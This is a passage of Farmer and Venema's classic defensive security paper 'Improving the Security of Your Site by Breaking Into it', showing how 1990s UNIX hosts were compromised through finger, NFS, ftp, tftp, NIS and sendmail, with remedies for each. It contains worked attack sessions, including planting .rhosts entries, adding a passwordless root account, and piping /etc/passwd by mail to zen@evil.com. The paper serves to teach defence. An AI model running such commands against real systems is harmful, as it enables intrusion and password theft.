home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / Improving-Security / admin.txt next >
Encoding:
Text File  |  1999-11-04  |  51.7 KB  |  1,095 lines

  1. Improving the Security of Your Site by Breaking Into it
  2.  
  3. Dan Farmer
  4.  
  5. Sun Microsystems
  6. 2550 garcia ave MS PAL1-407
  7. Mountain View CA 94043
  8.  
  9. zen@sun.com
  10.  
  11. Wietse Venema
  12.  
  13. Eindhoven University of Technology
  14. P.O. Box 513, 5600 MB
  15. Eindhoven, NL
  16.  
  17. wietse@wzv.win.tue.nl
  18.  
  19. Introduction
  20.  
  21. Every day, all over the world, computer networks and hosts are being broken
  22. into. The level of sophistication of these attacks varies widely; while it
  23. is generally believed that most break-ins succeed due to weak passwords,
  24. there are still a large number of intrusions that use more advanced
  25. techniques to break in. Less is known about the latter types of break-ins,
  26. because by their very nature they are much harder to detect.
  27.  
  28. ---------------------------------------------------------------------------
  29.  
  30. CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You
  31. name it, we've seen it broken into. Anything that is on the Internet (and
  32. many that isn't) seems to be fairly easy game. Are these targets unusual?
  33. What happened?
  34.  
  35. Fade to...
  36.  
  37. A young boy, with greasy blonde hair, sitting in a dark room. The room is
  38. illuminated only by the luminescense of the C64's 40 character screen.
  39. Taking another long drag from his Benson and Hedges cigarette, the weary
  40. system cracker telnets to the next faceless ".mil" site on his hit list.
  41. "guest -- guest", "root -- root", and "system -- manager" all fail. No
  42. matter. He has all night... he pencils the host off of his list, and
  43. tiredly types in the next potential victim...
  44.  
  45. This seems to be the popular image of a system cracker. Young,
  46. inexperienced, and possessing vast quantities of time to waste, to get into
  47. just one more system. However, there is a far more dangerous type of system
  48. cracker out there. One who knows the ins and outs of the latest security
  49. auditing and cracking tools, who can modify them for specific attacks, and
  50. who can write his/her own programs. One who not only reads about the latest
  51. security holes, but also personally discovers bugs and vulnerabilities. A
  52. deadly creature that can both strike poisonously and hide its tracks
  53. without a whisper or hint of a trail. The uebercracker is here.
  54.  
  55. ---------------------------------------------------------------------------
  56.  
  57. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  58. uebermensch, or, literally translated into English, "over man." Nietzsche
  59. used the term not to refer to a comic book superman, but instead a man who
  60. had gone beyond the incompetence, pettiness, and weakness of the everyday
  61. man. The uebercracker is therefore the system cracker who has gone beyond
  62. simple cookbook methods of breaking into systems. An uebercracker is not
  63. usually motivated to perform random acts of violence. Targets are not
  64. arbitrary -- there is a purpose, whether it be personal monetary gain, a
  65. hit and run raid for information, or a challenge to strike a major or
  66. prestigious site or net.personality. An uebercracker is hard to detect,
  67. harder to stop, and hardest to keep out of your site for good.
  68.  
  69. Overview
  70.  
  71. In this paper we will take an unusual approach to system security. Instead
  72. of merely saying that something is a problem, we will look through the eyes
  73. of a potential intruder, and show _why_ it is one. We will illustrate that
  74. even seemingly harmless network services can become valuable tools in the
  75. search for weak points of a system, even when these services are operating
  76. exactly as they are intended to.
  77.  
  78. In an effort to shed some light on how more advanced intrusions occur, this
  79. paper outlines various mechanisms that crackers have actually used to
  80. obtain access to systems and, in addition, some techniques we either
  81. suspect intruders of using, or that we have used ourselves in tests or in
  82. friendly/authorized environments.
  83.  
  84. Our motivation for writing this paper is that system administrators are
  85. often unaware of the dangers presented by anything beyond the most trivial
  86. attacks. While it is widely known that the proper level of protection
  87. depends on what has to be protected, many sites appear to lack the
  88. resources to assess what level of host and network security is adequate. By
  89. showing what intruders can do to gain access to a remote site, we are
  90. trying to help system administrators to make _informed_ decisions on how to
  91. secure their site -- or not. We will limit the discussion to techniques
  92. that can give a remote intruder access to a (possibly non-interactive)
  93. shell process on a UNIX host. Once this is achieved, the details of
  94. obtaining root privilege are beyond the scope of this work -- we consider
  95. them too site-dependent and, in many cases, too trivial to merit much
  96. discussion.
  97.  
  98. We want to stress that we will not merely run down a list of bugs or
  99. security holes -- there will always be new ones for a potential attacker to
  100. exploit. The purpose of this paper is to try to get the reader to look at
  101. her or his system in a new way -- one that will hopefully afford him or her
  102. the opportunity to _understand_ how their system can be compromised, and
  103. how.
  104.  
  105. We would also like to reiterate to the reader that the purpose of this
  106. paper is to show you how to test the security of your own site, not how to
  107. break into other people's systems. The intrusion techniques we illustrate
  108. here will often leave traces in your system auditing logs -- it might be
  109. constructive to examine them after trying some of these attacks out, to see
  110. what a real attack might look like. Certainly other sites and system
  111. administrators will take a very dim view of your activities if you decide
  112. to use their hosts for security testing without advance authorization;
  113. indeed, it is quite possible that legal action may be pursued against you
  114. if they perceive it as an attack.
  115.  
  116. There are four main parts to the paper. The first part is the introduction
  117. and overview. The second part attempts to give the reader a feel for what
  118. it is like to be an intruder and how to go from knowing nothing about a
  119. system to compromising its security. This section goes over actual
  120. techniques to gain information and entrance and covers basic strategies
  121. such as exploiting trust and abusing improperly configured basic network
  122. services (ftp, mail, tftp, etc.) It also discusses slightly more advanced
  123. topics, such as NIS and NFS, as well as various common bugs and
  124. configuration problems that are somewhat more OS or system specific.
  125. Defensive strategies against each of the various attacks are also covered
  126. here.
  127.  
  128. The third section deals with trust: how the security of one system depends
  129. on the integrity of other systems. Trust is the most complex subject in
  130. this paper, and for the sake of brevity we will limit the discussion to
  131. clients in disguise.
  132.  
  133. The fourth section covers the basic steps that a system administrator may
  134. take to protect her or his system. Most of the methods presented here are
  135. merely common sense, but they are often ignored in practice -- one of our
  136. goals is to show just how dangerous it can be to ignore basic security
  137. practices.
  138.  
  139. Case studies, pointers to security-related information, and software are
  140. described in the appendices at the end of the paper.
  141.  
  142. While exploring the methods and strategies discussed in this paper we we
  143. wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
  144. shell, perl, expect and C, it examines a remote host or set of hosts and
  145. gathers as much information as possible by remotely probing NIS, finger,
  146. NFS, ftp and tftp, rexd, and other services. This information includes the
  147. presence of various network information services as well as potential
  148. security flaws -- usually in the form of incorrectly setup or configured
  149. network services, well-known bugs in system or network utilities, or poor
  150. or ignorant policy decisions. It then can either report on this data or use
  151. an expert system to further investigate any potential security problems.
  152. While SATAN doesn't use all of the methods that we discuss in the paper, it
  153. has succeeded with ominous regularity in finding serious holes in the
  154. security of Internet sites. It will be posted and made available via
  155. anonymous ftp when completed; Appendix A covers its salient features.
  156.  
  157. Note that it isn't possible to cover all possible methods of breaking into
  158. systems in a single paper. Indeed, we won't cover two of the most effective
  159. methods of breaking into hosts: social engineering and password cracking.
  160. The latter method is so effective, however, that several of the strategies
  161. presented here are geared towards acquiring password files. In addition,
  162. while windowing systems (X, OpenWindows, etc.) can provide a fertile ground
  163. for exploitation, we simply don't know many methods that are used to break
  164. into remote systems. Many system crackers use non-bitmapped terminals which
  165. can prevent them from using some of the more interesting methods to exploit
  166. windowing systems effectively (although being able to monitor the victim's
  167. keyboard is often sufficient to capture passwords). Finally, while worms,
  168. viruses, trojan horses, and other malware are very interesting, they are
  169. not common (on UNIX systems) and probably will use similar techniques to
  170. the ones we describe in this paper as individual parts to their attack
  171. strategy.
  172.  
  173. Gaining Information
  174.  
  175. Let us assume that you are the head system administrator of Victim
  176. Incorporated's network of UNIX workstations. In an effort to secure your
  177. machines, you ask a friendly system administrator from a nearby site
  178. (evil.com) to give you an account on one of her machines so that you can
  179. look at your own system's security from the outside.
  180.  
  181. What should you do? First, try to gather information about your (target)
  182. host. There is a wealth of network services to look at: finger, showmount,
  183. and rpcinfo are good starting points. But don't stop there -- you should
  184. also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other
  185. services as you can find. There are so many methods and techniques that
  186. space precludes us from showing all of them, but we will try to show a
  187. cross-section of the most common and/or dangerous strategies that we have
  188. seen or have thought of. Ideally, you would gather such information about
  189. all hosts on the subnet or area of attack -- information is power -- but
  190. for now we'll examine only our intended target.
  191.  
  192. To start out, you look at what the ubiquitous finger command shows you
  193. (assume it is 6pm, Nov 6, 1993):
  194.  
  195.  victim % finger @victim.com
  196.  [victim.com]
  197.  Login       Name             TTY Idle     When    Where
  198.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  199.  
  200. Good! A single idle user -- it is likely that no one will notice if you
  201. actually manage to break in.
  202.  
  203. Now you try more tactics. As every finger devotee knows, fingering "@",
  204. "0", and "", as well as common names, such as root, bin, ftp, system,
  205. guest, demo, manager, etc., can reveal interesting information. What that
  206. information is depends on the version of finger that your target is
  207. running, but the most notable are account names, along with their home
  208. directories and the host that they last logged in from.
  209.  
  210. To add to this information, you can use rusers (in particular with the -l
  211. flag) to get useful information on logged-in users.
  212.  
  213. Trying these commands on victim.com reveals the following information,
  214. presented in a compressed tabular form to save space:
  215.  
  216.  Login   Home-dir    Shell      Last login, from where
  217.  -----   --------    -----      ----------------------
  218.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  219.  bin     /bin                   Never logged in
  220.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  221.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  222.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  223.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  224.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  225.  guest   /export/foo /bin/sh    Never logged in
  226.  ftp     /home/ftp              Never logged in
  227.  
  228. Both our experiments with SATAN and watching system crackers at work have
  229. proved to us that finger is one of the most dangerous services, because it
  230. is so useful for investigating a potential target. However, much of this
  231. information is useful only when used in conjunction with other data.
  232.  
  233. For instance, running showmount on your target reveals:
  234.  
  235.  evil % showmount -e victim.com
  236.  export list for victim.com:
  237.  /export                            (everyone)
  238.  /var                               (everyone)
  239.  /usr                               easy
  240.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  241.  /export/root/easy                  easy
  242.  /export/swap/easy                  easy
  243.  
  244. Note that /export/foo is exported to the world; also note that this is user
  245. guest's home directory. Time for your first break-in! In this case, you'll
  246. mount the home directory of user "guest." Since you don't have a
  247. corresponding account on the local machine and since root cannot modify
  248. files on an NFS mounted filesystem, you create a "guest" account in your
  249. local password file. As user guest you can put an .rhosts entry in the
  250. remote guest home directory, which will allow you to login to the target
  251. machine without having to supply a password.
  252.  
  253.  evil # mount victim.com:/export/foo /foo
  254.  evil # cd /foo
  255.  evil # ls -lag
  256.  total 3
  257.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  258.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  259.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  260.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  261.  evil # ls -lag
  262.  total 3
  263.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  264.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  265.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  266.  evil # su guest
  267.  evil % echo evil.com >> guest/.rhosts
  268.  evil % rlogin victim.com
  269.          Welcome to victim.com!
  270.  victim %
  271.  
  272. If, instead of home directories, victim.com were exporting filesystems with
  273. user commands (say, /usr or /usr/local/bin), you could replace a command
  274. with a trojan horse that executes any command of your choice. The next user
  275. to execute that command would execute your program.
  276.  
  277. We suggest that filesystems be exported:
  278.  
  279.    * Read/write only to specific, trusted clients.
  280.    * Read-only, where possible (data or programs can often be exported in
  281.      this manner.)
  282.  
  283. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  284. various vendor's machines) or has the netgroups bug (CERT advisory 91:12),
  285. any non-root user with a login name in the target's password file can
  286. rlogin to the target without a password. And since the user "bin" often
  287. owns key files and directories, your next attack is to try to log in to the
  288. target host and modify the password file to let you have root access:
  289.  
  290.  evil % whoami
  291.  bin
  292.  evil % rsh victim.com csh -i
  293.  Warning: no access to tty; thus no job control in this shell...
  294.  victim %  ls -ldg /etc
  295.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  296.  victim %  cd /etc
  297.  victim %  mv passwd pw.old
  298.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  299.  victim % ^D
  300.  evil % rlogin victim.com -l toor
  301.          Welcome to victim.com!
  302.  victim #
  303.  
  304. A few notes about the method used above; "rsh victim.com csh -i" is used to
  305. initially get onto the system because it doesn't leave any traces in the
  306. wtmp or utmp system auditing files, making the rsh invisible for finger and
  307. who. The remote shell isn't attached to a pseudo-terminal, however, so that
  308. screen-oriented programs such as pagers and editors will fail -- but it is
  309. very handy for brief exploration.
  310.  
  311. The COPS security auditing tool (see appendix D) will report key files or
  312. directories that are writable to accounts other than the superuser. If you
  313. run SunOS 4.x you can apply patch 100103 to fix most file permission
  314. problems. On many systems, rsh probes as shown above, even when successful,
  315. would remain completely unnoticed; the tcp wrapper (appendix D), which logs
  316. incoming connections, can help to expose such activities.
  317.  
  318. ---------------------------------------------------------------------------
  319.  
  320. What now? Have you uncovered all the holes on your target system? Not by a
  321. long shot. Going back to the finger results on your target, you notice that
  322. it has an "ftp" account, which usually means that anonymous ftp is enabled.
  323. Anonymous ftp can be an easy way to get access, as it is often
  324. misconfigured. For example, the target may have a complete copy of the
  325. /etc/passwd file in the anonymous ftp ~ftp/etc directory instead of a
  326. stripped down version. In this example, though, you see that the latter
  327. doesn't seem to be true (how can you tell without actually examining the
  328. file?) However, the home directory of ftp on victim.com is writable. This
  329. allows you to remotely execute a command -- in this case, mailing the
  330. password file back to yourself -- by the simple method of creating a
  331. .forward file that executes a command when mail is sent to the ftp account.
  332. This is the same mechanism of piping mail to a program that the "vacation"
  333. program uses to automatically reply to mail messages.
  334.  
  335.  evil % cat forward_sucker_file
  336.  "|/bin/mail zen@evil.com < /etc/passwd"
  337.  
  338.  evil % ftp victim.com
  339.  Connected to victim.com
  340.  220 victim FTP server ready.
  341.  Name (victim.com:zen): ftp
  342.  331 Guest login ok, send ident as password.
  343.  Password:
  344.  230 Guest login ok, access restrictions apply.
  345.  ftp> ls -lga
  346.  200 PORT command successful.
  347.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  348.  total 5
  349.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  350.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  351.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  352.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  353.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  354.  226 ASCII Transfer complete.
  355.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  356.  ftp> put forward_sucker_file .forward
  357.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  358.  ftp> quit
  359.  evil % echo test | mail ftp@victim.com
  360.  
  361. Now you simply wait for the password file to be sent back to you.
  362.  
  363. The security auditing tool COPS will check your anonymous ftp setup; see
  364. the man page for ftpd, the documentation/code for COPS, or CERT advisory
  365. 93:10 for information on how to set up anonymous ftp correctly.
  366. Vulnerabilities in ftp are often a matter of incorrect ownership or
  367. permissions of key files or directories. At the very least, make sure that
  368. ~ftp and all "system" directories and files below ~ftp are owned by root
  369. and are not writable by any user.
  370.  
  371. While looking at ftp, you can check for an older bug that was once widely
  372. exploited:
  373.  
  374.  % ftp -n
  375.  ftp> open victim.com
  376.  Connected to victim.com
  377.  220 victim.com FTP server ready.
  378.  ftp> quote user ftp
  379.  331 Guest login ok, send ident as password.
  380.  ftp> quote cwd ~root
  381.  530 Please login with USER and PASS.
  382.  ftp> quote pass ftp
  383.  230 Guest login ok, access restrictions apply.
  384.  ftp> ls -al / (or whatever)
  385.  
  386. If this works, you now are logged in as root, and able to modify the
  387. password file, or whatever you desire. If your system exhibits this bug,
  388. you should definitely get an update to your ftpd daemon, either from your
  389. vendor or (via anon ftp) from ftp.uu.net.
  390.  
  391. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  392. Washington University in Saint Louis, had almost the same problem. If your
  393. wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more
  394. recent version.
  395.  
  396. Finally, there is a program vaguely similar to ftp -- tftp, or the trivial
  397. file transfer program. This daemon doesn't require any password for
  398. authentication; if a host provides tftp without restricting the access
  399. (usually via some secure flag set in the inetd.conf file), an attacker can
  400. read and write files anywhere on the system. In the example, you get the
  401. remote password file and place it in your local /tmp directory:
  402.  
  403.  evil % tftp
  404.  tftp> connect victim.com
  405.  tftp> get /etc/passwd /tmp/passwd.victim
  406.  tftp> quit
  407.  
  408. For security's sake, tftp should not be run; if tftp is necessary, use the
  409. secure option/flag to restrict access to a directory that has no valuable
  410. information, or run it under the control of a chroot wrapper program.
  411.  
  412. ---------------------------------------------------------------------------
  413.  
  414. If none of the previous methods have worked, it is time to go on to more
  415. drastic measures. You have a friend in rpcinfo, another very handy program,
  416. sometimes even more useful than finger. Many hosts run RPC services that
  417. can be exploited; rpcinfo can talk to the portmapper and show you the way.
  418. It can tell you if the host is running NIS, if it is a NIS server or slave,
  419. if a diskless workstation is around, if it is running NFS, any of the info
  420. services (rusersd, rstatd, etc.), or any other unusual programs (auditing
  421. or security related). For instance, going back to our sample target:
  422.  
  423. evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  424.     program vers proto   port
  425.      100004    2   tcp    673  ypserv
  426.      100005    1   udp    721  mountd
  427.      100003    2   udp   2049  nfs
  428.      100026    1   udp    733  bootparam
  429.      100017    1   tcp   1274  rexd
  430.  
  431. In this case, you can see several significant facts about our target; first
  432. of which is that it is an NIS server. It is perhaps not widely known, but
  433. once you know the NIS domainname of a server, you can get any of its NIS
  434. maps by a simple rpc query, even when you are outside the subnet served by
  435. the NIS server (for example, using the YPX program that can be found in the
  436. comp.sources.misc archives on ftp.uu.net). In addition, very much like
  437. easily guessed passwords, many systems use easily guessed NIS domainnames.
  438. Trying to guess the NIS domainname is often very fruitful. Good candidates
  439. are the fully and partially qualified hostname (e.g. "victim" and
  440. "victim.com"), the organization name, netgroup names in "showmount" output,
  441. and so on. If you wanted to guess that the domainname was "victim", you
  442. could type:
  443.  
  444.  evil % ypwhich -d victim victim.com
  445.  Domain victim not bound
  446.  
  447. .
  448.  
  449. This was an unsuccessful attempt; if you had guessed correctly it would
  450. have returned with the host name of victim.com's NIS server. However, note
  451. from the NFS section that victim.com is exporting the "/var" directory to
  452. the world. All that is needed is to mount this directory and look in the
  453. "yp" subdirectory -- among other things you will see another subdirectory
  454. that contains the domainname of the target.
  455.  
  456.  evil # mount victim.com:/var /foo
  457.  evil # cd /foo
  458.  evil # /bin/ls -alg /foo/yp
  459.  total 17
  460.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  461.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  462.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  463.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  464.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  465.     [...]
  466.  
  467. In this case, "foo_bar" is the NIS domain name.
  468.  
  469. In addition, the NIS maps often contain a good list of user/employee names
  470. as well as internal host lists, not to mention passwords for cracking.
  471.  
  472. Appendix C details the results of a case study on NIS password files.
  473.  
  474. ---------------------------------------------------------------------------
  475.  
  476. You note that the rpcinfo output also showed that victim.com runs rexd.
  477. Like the rsh daemon, rexd processes requests of the form "please execute
  478. this command as that user". Unlike rshd, however, rexd does not care if the
  479. client host is in the hosts.equiv or .rhost files. Normally the rexd client
  480. program is the "on" command, but it only takes a short C program to send
  481. arbitrary client host and userid information to the rexd server; rexd will
  482. happily execute the command. For these reasons, running rexd is similar to
  483. having no passwords at all: all security is in the client, not in the
  484. server where it should be. Rexd security can be improved somewhat by using
  485. secure RPC.
  486.  
  487. ---------------------------------------------------------------------------
  488.  
  489. While looking at the output from rpcinfo, you observe that victim.com also
  490. seems to be a server for diskless workstations. This is evidenced by the
  491. presence of the bootparam service, which provides information to the
  492. diskless clients for booting. If you ask nicely, using BOOTPARAMPROC_WHOAMI
  493. and provide the address of a client, you can get its NIS domainname. This
  494. can be very useful when combined with the fact that you can get arbitrary
  495. NIS maps (such as the password file) when you know the NIS domainname. Here
  496. is a sample code snippet to do just that (bootparam is part of SATAN.)
  497.  
  498.     char   *server;
  499.     struct bp_whoami_arg arg;           /* query */
  500.     struct bp_whoami_res res;           /* reply */
  501.  
  502.     /* initializations omitted... */
  503.  
  504.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  505.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  506.  
  507.     printf("%s has nisdomain %s\n", server, res.domain_name);
  508.  
  509. The showmount output indicated that "easy" is a diskless client of
  510. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
  511. query:
  512.  
  513.  evil % bootparam victim.com easy.victim.com
  514.  victim.com has nisdomain foo_bar
  515.  
  516. ---------------------------------------------------------------------------
  517.  
  518. NIS masters control the mail aliases for the NIS domain in question. Just
  519. like local mail alias files, you can create a mail alias that will execute
  520. commands when mail is sent to it (a once popular example of this is the
  521. "decode" alias which uudecodes mail files sent to it.) For instance, here
  522. you create an alias "foo", which mails the password file back to evil.com
  523. by simply mailing any message to it:
  524.  
  525.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  526.  nis-master # cd /var/yp
  527.  nis-master # make aliases
  528.  nis-master # echo test | mail -v foo@victim.com
  529.  
  530. Hopefully attackers won't have control of your NIS master host, but even
  531. more hopefully the lesson is clear -- NIS is normally insecure, but if an
  532. attacker has control of your NIS master, then s/he effectively has control
  533. of the client hosts (e.g. can execute arbitrary commands).
  534.  
  535. There aren't many effective defenses against NIS attacks; it is an insecure
  536. service that has almost no authentication between clients and servers. To
  537. make things worse, it seems fairly clear that arbitrary maps can be forced
  538. onto even master servers (e.g., it is possible to treat an NIS server as a
  539. client). This, obviously, would subvert the entire schema. If it is
  540. absolutely necessary to use NIS, choosing a hard to guess domainname can
  541. help slightly, but if you run diskless clients that are exposed to
  542. potential attackers then it is trivial for an attacker to defeat this
  543. simple step by using the bootparam trick to get the domainname. If NIS is
  544. used to propagate the password maps, then shadow passwords do not give
  545. additional protection because the shadow map is still accessible to any
  546. attacker that has root on an attacking host. Better is to use NIS as little
  547. as possible, or to at least realize that the maps can be subject to perusal
  548. by potentially hostile forces.
  549.  
  550. Secure RPC goes a long way to diminish the threat, but it has its own
  551. problems, primarily in that it is difficult to administer, but also in that
  552. the cryptographic methods used within are not very strong. It has been
  553. rumored that NIS+, Sun's new network information service, fixes some of
  554. these problems, but until now it has been limited to running on Suns, and
  555. thus far has not lived up to the promise of the design. Finally, using
  556. packet filtering (at the very least port 111) or securelib (see appendix
  557. D), or, for Suns, applying Sun patch 100482-02 all can help.
  558.  
  559. ---------------------------------------------------------------------------
  560.  
  561. The portmapper only knows about RPC services. Other network services can be
  562. located with a brute-force method that connects to all network ports. Many
  563. network utilities and windowing systems listen to specific ports (e.g.
  564. sendmail is on port 25, telnet is on port 23, X windows is usually on port
  565. 6000, etc.) SATAN includes a program that scans the ports of a remote hosts
  566. and reports on its findings; if you run it against our target, you see:
  567.  
  568.  evil % tcpmap victim.com
  569.  Mapping 128.128.128.1
  570.  port 21: ftp
  571.  port 23: telnet
  572.  port 25: smtp
  573.  port 37: time
  574.  port 79: finger
  575.  port 512: exec
  576.  port 513: login
  577.  port 514: shell
  578.  port 515: printer
  579.  port 6000: (X)
  580.  
  581. This suggests that victim.com is running X windows. If not protected
  582. properly (via the magic cookie or xhost mechanisms), window displays can be
  583. captured or watched, user keystrokes may be stolen, programs executed
  584. remotely, etc. Also, if the target is running X and accepts a telnet to
  585. port 6000, that can be used for a denial of service attack, as the target's
  586. windowing system will often "freeze up" for a short period of time. One
  587. method to determine the vulnerability of an X server is to connect to it
  588. via the XOpenDisplay() function; if the function returns NULL then you
  589. cannot access the victim's display (opendisplay is part of SATAN):
  590.  
  591.     char   *hostname;
  592.  
  593.     if (XOpenDisplay(hostname) == NULL) {
  594.        printf("Cannot open display: %s\n", hostname);
  595.     } else {
  596.        printf("Can open display: %s\n", hostname);
  597.     }
  598.  
  599.  evil % opendisplay victim.com:0
  600.  Cannot open display: victim.com:0
  601.  
  602. X terminals, though much less powerful than a complete UNIX system, can
  603. have their own security problems. Many X terminals permit unrestricted rsh
  604. access, allowing you to start X client programs in the victim's terminal
  605. with the output appearing on your own screen:
  606.  
  607.  evil % xhost +xvictim.victim.com
  608.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  609.  
  610. In any case, give as much thought to your window security as your
  611. filesystem and network utilities, for it can compromise your system as
  612. surely as a "+" in your hosts.equiv or a passwordless (root) account.
  613.  
  614. ---------------------------------------------------------------------------
  615.  
  616. Next, you examine sendmail. Sendmail is a very complex program that has a
  617. long history of security problems, including the infamous "wiz" command
  618. (hopefully long since disabled on all machines). You can often determine
  619. the OS, sometimes down to the version number, of the target, by looking at
  620. the version number returned by sendmail. This, in turn, can give you hints
  621. as to how vulnerable it might be to any of the numerous bugs. In addition,
  622. you can see if they run the "decode" alias, which has its own set of
  623. problems:
  624.  
  625.  evil % telnet victim.com 25
  626.  connecting to host victim.com (128.128.128.1.), port 25
  627.  connection open
  628.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  629.  expn decode
  630.  250 <"|/usr/bin/uudecode">
  631.  quit
  632.  
  633. Running the "decode" alias is a security risk -- it allows potential
  634. attackers to overwrite any file that is writable by the owner of that alias
  635. -- often daemon, but potentially any user. Consider this piece of mail --
  636. this will place "evil.com" in user zen's .rhosts file if it is writable:
  637.  
  638.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  639.  
  640. If no home directories are known or writable, an interesting variation of
  641. this is to create a bogus /etc/aliases.pag file that contains an alias with
  642. a command you wish to execute on your target. This may work since on many
  643. systems the aliases.pag and aliases.dir files, which control the system's
  644. mail aliases, are writable to the world.
  645.  
  646.  evil % cat decode
  647.  bin: "| cat /etc/passwd | mail zen@evil.com"
  648.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  649.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  650.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  651.  
  652. A lot of things can be found out by just asking sendmail if an address is
  653. acceptable (vrfy), or what an address expands to (expn). When the finger or
  654. rusers services are turned off, vrfy and expn can still be used to identify
  655. user accounts or targets. Vrfy and expn can also be used to find out if the
  656. user is piping mail through any program that might be exploited (e.g.
  657. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy
  658. and expn commands: in most versions, look at the source file srvrsmtp.c,
  659. and either delete or change the two lines in the CmdTab structure that have
  660. the strings "vrfy" and "expn". Sites without source can still disable expn
  661. and vrfy by just editing the sendmail executable with a binary editor and
  662. replacing "vrfy" and "expn" with blanks. Acquiring a recent version of
  663. sendmail (see Appendix D) is also an extremely good idea, since there have
  664. probably been more security bugs reported in sendmail than in any other
  665. UNIX program.
  666.  
  667. ---------------------------------------------------------------------------
  668.  
  669. As a sendmail-sendoff, there are two fairly well known bugs that should be
  670. checked into. The first was definitely fixed in version 5.59 from Berkeley;
  671. despite the messages below, for versions of sendmail previous to 5.59, the
  672. "evil.com" gets appended, despite the error messages, along with all of the
  673. typical mail headers, to the file specified:
  674.  
  675.  % cat evil_sendmail
  676.  telnet victim.com 25 << EOSM
  677.  rcpt to: /home/zen/.rhosts
  678.  mail from: zen
  679.  data
  680.  random garbage
  681.  .
  682.  rcpt to: /home/zen/.rhosts
  683.  mail from: zen
  684.  data
  685.  evil.com
  686.  .
  687.  quit
  688.  EOSM
  689.  
  690.  evil % /bin/sh evil_sendmail
  691.  Trying 128.128.128.1
  692.  Connected to victim.com
  693.  Escape character is '^]'.
  694.  Connection closed by foreign host.
  695.  
  696.  evil % rlogin victim.com -l zen
  697.          Welcome to victim.com!
  698.  victim %
  699.  
  700. The second hole, fixed only recently, permitted anyone to specify arbitrary
  701. shell commands and/or pathnames for the sender and/or destination address.
  702. Attempts to keep details secret were in vain, and extensive discussions in
  703. mailing lists and usenet news groups led to disclosure of how to exploit
  704. some versions of the bug. As with many UNIX bugs, nearly every vendor's
  705. sendmail was vulnerable to the problem, since they all share a common
  706. source code tree ancestry. Space precludes us from discussing it fully, but
  707. a typical attack to get the password file might look like this:
  708.  
  709.  evil % telnet victim.com 25
  710.  Trying 128.128.128.1...
  711.  Connected to victim.com
  712.  Escape character is '^]'.
  713.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  714.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  715.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  716.  rcpt to: nosuchuser
  717.  550 nosuchuser... User unknown
  718.  data
  719.  354 Enter mail, end with "." on a line by itself
  720.  .
  721.  250 Mail accepted
  722.  quit
  723.  Connection closed by foreign host.
  724.  evil %
  725.  
  726. At the time of writing, version 8.6.4 of sendmail (see Appendix D for
  727. information on how to get this) is reportedly the only variant of sendmail
  728. with all of the recent security bugs fixed.
  729.  
  730. Trust
  731.  
  732. For our final topic of vulnerability, we'll digress from the practical
  733. strategy we've followed previously to go a bit more into the theoretical
  734. side, and briefly discuss the notion of trust. The issues and implications
  735. of vulnerabilities here are a bit more subtle and far-reaching than what
  736. we've covered before; in the context of this paper we use the word trust
  737. whenever there is a situation when a server (note that any host that allows
  738. remote access can be called a server) can permit a local resource to be
  739. used by a client without password authentication when password
  740. authentication is normally required. In other words, we arbitrarily limit
